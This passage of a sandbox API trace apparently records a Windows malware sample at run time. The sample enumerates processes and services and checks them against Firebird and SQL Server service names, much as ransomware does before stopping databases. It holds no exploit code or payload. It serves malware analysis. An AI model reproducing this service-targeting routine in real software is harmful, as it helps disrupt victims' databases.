returned -1 [0271.029] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0271.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0271.029] lstrlenW (lpString="Themes") returned 6 [0271.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0271.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0271.029] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0271.029] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0271.029] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x740b48 | out: hHeap=0x6e0000) returned 1 [0271.029] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0271.032] Process32FirstW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.033] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0271.033] lstrlenW (lpString="System") returned 6 [0271.033] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0271.034] lstrlenW (lpString="smss.exe") returned 8 [0271.034] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.034] lstrlenW (lpString="csrss.exe") returned 9 [0271.034] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0271.050] lstrlenW (lpString="wininit.exe") returned 11 [0271.050] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.050] lstrlenW (lpString="csrss.exe") returned 9 [0271.051] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0271.051] lstrlenW (lpString="winlogon.exe") returned 12 [0271.051] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0271.052] lstrlenW (lpString="services.exe") returned 12 [0271.052] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0271.052] lstrlenW (lpString="lsass.exe") returned 9 [0271.052] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0271.053] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0271.053] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0271.053] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0271.053] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.054] lstrlenW (lpString="svchost.exe") returned 11 [0271.054] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.054] lstrlenW (lpString="svchost.exe") returned 11 [0271.054] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0271.055] lstrlenW (lpString="dwm.exe") returned 7 [0271.055] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.055] lstrlenW (lpString="svchost.exe") returned 11 [0271.056] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.056] lstrlenW (lpString="svchost.exe") returned 11 [0271.056] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.057] lstrlenW (lpString="svchost.exe") returned 11 [0271.057] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.057] lstrlenW (lpString="svchost.exe") returned 11 [0271.057] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.058] lstrlenW (lpString="svchost.exe") returned 11 [0271.058] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.058] lstrlenW (lpString="svchost.exe") returned 11 [0271.058] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.059] lstrlenW (lpString="svchost.exe") returned 11 [0271.059] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.059] lstrlenW (lpString="svchost.exe") returned 11 [0271.059] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.060] lstrlenW (lpString="svchost.exe") returned 11 [0271.060] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.060] lstrlenW (lpString="svchost.exe") returned 11 [0271.060] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0271.061] lstrlenW (lpString="spoolsv.exe") returned 11 [0271.061] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0271.062] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0271.062] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0271.062] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0271.062] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0271.063] lstrlenW (lpString="Memory Compression") returned 18 [0271.063] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.063] lstrlenW (lpString="svchost.exe") returned 11 [0271.063] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0271.064] lstrlenW (lpString="audiodg.exe") returned 11 [0271.064] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0271.065] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0271.065] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0271.065] lstrlenW (lpString="sihost.exe") returned 10 [0271.065] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.066] lstrlenW (lpString="svchost.exe") returned 11 [0271.066] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0271.066] lstrlenW (lpString="taskhostw.exe") returned 13 [0271.066] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0271.067] lstrlenW (lpString="msoia.exe") returned 9 [0271.067] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0271.067] lstrlenW (lpString="explorer.exe") returned 12 [0271.067] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0271.068] lstrlenW (lpString="SearchUI.exe") returned 12 [0271.068] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0271.068] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0271.068] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0271.077] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0271.077] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0271.078] lstrlenW (lpString="1csrss.exe") returned 10 [0271.078] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.078] lstrlenW (lpString="svchost.exe") returned 11 [0271.078] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0271.079] lstrlenW (lpString="cmd.exe") returned 7 [0271.079] Process32NextW (in: hSnapshot=0x27c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0271.079] CloseHandle (hObject=0x27c) returned 1 [0271.079] Sleep (dwMilliseconds=0x1f4) [0272.228] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x71ebd8 [0272.229] EnumServicesStatusExW (in: hSCManager=0x71ebd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0272.229] GetLastError () returned 0xea [0272.229] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1ca4) returned 0x782450 [0272.229] EnumServicesStatusExW (in: hSCManager=0x71ebd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x782450, cbBufSize=0x1ca4, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x782450, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0272.230] CloseServiceHandle (hSCObject=0x71ebd8) returned 1 [0272.230] lstrlenW (lpString="AppXSvc") returned 7 [0272.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0272.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0272.230] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0272.230] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0272.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0272.230] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0272.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0272.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0272.230] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0272.230] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0272.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0272.231] lstrlenW (lpString="Audiosrv") returned 8 [0272.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0272.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0272.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0272.231] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0272.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0272.231] lstrlenW (lpString="BFE") returned 3 [0272.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0272.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0272.231] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0272.231] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0272.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0272.231] lstrlenW (lpString="BITS") returned 4 [0272.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0272.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0272.231] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0272.231] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0272.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0272.231] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0272.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0272.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0272.231] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0272.231] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0272.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0272.231] lstrlenW (lpString="CDPSvc") returned 6 [0272.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0272.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0272.231] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0272.231] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0272.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0272.231] lstrlenW (lpString="ClickToRunSvc") returned 13 [0272.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0272.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0272.231] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0272.232] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0272.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0272.232] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0272.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0272.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0272.232] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0272.232] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0272.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0272.232] lstrlenW (lpString="CryptSvc") returned 8 [0272.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0272.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0272.232] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0272.232] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0272.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0272.233] lstrlenW (lpString="DcomLaunch") returned 10 [0272.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0272.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0272.233] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0272.233] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0272.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0272.233] lstrlenW (lpString="DeviceAssociationService") returned 24 [0272.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0272.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0272.338] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0272.338] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0272.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0272.338] lstrlenW (lpString="Dhcp") returned 4 [0272.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0272.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0272.339] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0272.339] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0272.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0272.339] lstrlenW (lpString="Dnscache") returned 8 [0272.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0272.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0272.339] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0272.339] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0272.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0272.339] lstrlenW (lpString="DPS") returned 3 [0272.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0272.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0272.339] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0272.339] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0272.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0272.339] lstrlenW (lpString="DusmSvc") returned 7 [0272.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0272.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0272.339] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0272.339] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0272.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0272.339] lstrlenW (lpString="EventLog") returned 8 [0272.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0272.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0272.339] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0272.339] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0272.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0272.339] lstrlenW (lpString="EventSystem") returned 11 [0272.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0272.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0272.340] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0272.340] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 